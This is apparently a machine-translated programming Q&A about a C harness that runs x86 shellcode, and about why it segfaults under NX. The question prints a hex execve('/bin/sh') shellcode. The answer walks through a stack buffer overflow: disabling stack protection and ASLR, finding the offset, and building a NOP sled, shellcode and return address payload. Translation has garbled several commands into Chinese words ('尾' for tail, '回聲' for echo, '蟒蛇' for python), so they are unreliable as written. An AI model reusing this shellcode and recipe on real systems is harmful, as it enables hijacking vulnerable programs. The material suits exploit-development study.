2015-10-17 58 views
-1

我試過通過C程序運行大量的shell代碼來測試它們。這是Shellcode沒有運行

#include<stdio.h> 
#include<string.h> 
unsigned char code[] = "shell here"; 
main() 
{ 
printf("Shellcode Length: %d\n", strlen(code)); 
int (*ret)() = (int(*)())code; 
ret(); 
} 

而這裏的例子的shellcode

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\ 
      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\ 
      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\ 
      "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ 
      "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42" 

(\ BIN \貓\等\影子) 運行

gcc sctest.c -o out ./out

這只是後給我的shellcode的長度和分割錯誤 我已經嘗試了很多不同的shellcode,但所有東西都給我segfault 我的dmesg |尾-1 [18440.783383]測試[8768]:測試[8049000 + 1000] 段錯誤的8049700 IP 08049700 SP bffff2ec錯誤15這有什麼錯我的shellcodes?

+2

應該是一個常見問題。在現代系統上,只是執行數據將不再起作用,請參閱* NX位*。 –

+0

@FelixPalmen謝謝!我已經花了很多時間試圖瞭解緩衝區溢出現在看起來我已經準備好利用測試程序 – desu

+0

時下利用緩衝區溢出,您將需要更先進的技術,如ROP(返回導向編程) –

回答

1

禁用NX-bit和其他像randomize_va_space我終於做到了之後。

首先,你應該編譯鍵-z execstack和-fno-堆棧保護您的可執行文件。

該禁用ASLR回聲0>的/ proc/SYS /內核/ randomize_va_space後。 現在你必須找到shellcode。你可以試試mspayload或msfvenom。 Shellcode是一個通常給你shell的字節碼。

在這一步你應該找到你的堆棧溢出的偏移量。你可以嘗試尋找線,如

sub hex-offset, %esp 

或者你可以嘗試與像./your_binary <蟒蛇-c簡單的腳本來猜解它「打印(‘A’)* N」),其中n是你的偏移

找到偏移量後(SEGFAULT發生,dmesg | tail -1表示%eip爲0x41414141),您只需編寫漏洞利用程序。它的結構看起來像

NOPs(no operation)*x+shellcode+return-address(4 bytes)*y 

LEN(shellcode的)+ X + 4Y =您的偏移 如果返回地址是在堆棧中的地方,你的NOP指令位於(%ESP的地址,你在看的地址輸入之前GDB信息R)

而且不要忘記,利用在gdb其中的作品,因爲你需要從你的返回地址添加/ 36個。減去字節將沒有GDB工作。

最後你準備現在利用

./your_binary < exploit.bin